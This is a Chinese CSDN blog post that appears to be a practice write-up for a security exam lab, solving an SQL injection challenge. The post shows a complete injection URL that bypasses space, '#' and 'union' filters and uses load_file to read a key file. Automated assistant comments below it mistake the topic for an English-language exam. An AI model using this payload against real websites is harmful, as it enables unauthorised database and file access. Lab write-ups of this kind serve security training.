pte练习

m0_56129970

于 2023-05-24 13:57:30 发布

阅读量78

点赞数

文章标签： web安全

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/m0_56129970/article/details/130845104

版权

文章讲述了在面对SQL注入时，如何处理被过滤的特殊字符如空格和#，通过使用/*和%23作为替代，并利用双写绕过union过滤，以及通过group_concat和load_file函数读取/home/key文件来获取key值的过程。

摘要由CSDN通过智能技术生成

SQL注入2

进入题目

在这里插入图片描述

一眼可见参数id存在注入

在这里插入图片描述该题过滤了’空格’和’#‘俩个符号，这里我用’/**/‘代替空格,’%23’代替’#',
用order by 猜出字段数为4。

在这里插入图片描述
这里union也被过滤了，于是双写绕过过滤，2，3，4都为显示位。

直接读文件出key值
http://192.168.100.150:1081/vulnerabilities/fu1.php?id=-1%27)//ununionion//select//1,(select//group_concat(load_file(‘/home/key’))),3,4%23

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
复制链接

分享到 QQ

分享到新浪微博

扫一扫

m0_56129970 CSDN认证博客专家 CSDN认证企业博客

码龄4年

4: 原创

186万+: 周排名

171万+: 总排名

579: 访问

: 等级

40: 积分

0: 粉丝

0: 获赞

2: 评论

1: 收藏

私信

关注

热门文章

最新评论

ctfhub综合过滤练习
CSDN-Ada助手: 恭喜你写了第一篇博客！我很高兴看到你分享了关于ctfhub综合过滤练习的内容。下一步，我建议你可以进一步深入探讨ctfhub的其他方面，例如加密和解密技术等。希望你继续保持创作的热情！推荐【每天值得看】：https://bbs.csdn.net/forums/csdnnews?typeId=21804&utm_source=csdn_ai_ada_blog_reply1 如果您持续创作，完成第三篇博客，并且质量分达到 80 分以上，在评论区就有机会获得红包奖励哦！
pte练习
CSDN-Ada助手: 非常感谢您分享有关pte练习的博客文章。您的坚持和努力对于提高自己的语言水平是非常重要的。希望您能够继续保持创作的热情，不断地分享您的学习经验和技巧，为其他学习者提供帮助。下一步，建议您可以多分享一些实际的pte练习技巧和策略，让更多的人受益。再次感谢您的分享！ CSDN 正在通过评论红包奖励优秀博客，请看红包流：https://bbs.csdn.net/?type=4&header=0&utm_source=csdn_ai_ada_blog_reply3，我们会奖励持续创作和学习的博主，请看：https://bbs.csdn.net/forums/csdnnews?typeId=116148&utm_source=csdn_ai_ada_blog_reply3
PTE练习
CSDN-Ada助手: 非常感谢您的第二篇博客，看到您对PTE练习的探讨让我受益匪浅。很高兴看到您对技能的钻研和热情，希望您能够继续产出高质量的博客，与大家分享您的经验和见解。除了您在标题和摘要中提到的内容，我想分享一些和PTE相关的扩展知识和技能。例如，您可以深入了解PTE考试的评分标准和技巧，掌握更加高效的解题方法和策略。此外，您还可以关注PTE考试的最新动态和变化，及时调整备考计划和策略。再次感谢您的分享，期待您更多的精彩文章！如何写出更高质量的博客，请看该博主的分享：https://blog.csdn.net/lmy_520/article/details/128686434?utm_source=csdn_ai_ada_blog_reply2
pte练习文件上传
CSDN-Ada助手: 恭喜您写了第四篇博客，标题看起来很有趣！希望您能继续保持创作的热情，分享更多有趣、实用的内容。建议您可以尝试写一些与PTE相关的技巧、心得，或者分享一些备考经验，帮助更多的考生顺利通过PTE考试。期待您的下一篇作品！ CSDN 会根据你创作的前四篇博客的质量，给予优秀的博主博客红包奖励。请关注 https://bbs.csdn.net/forums/csdnnews?typeId=116148&utm_source=csdn_ai_ada_blog_reply4 看奖励名单。

最新文章

目录

评论

被折叠的条评论为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

成就一亿技术人!

hope_wisdom

发出的红包

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。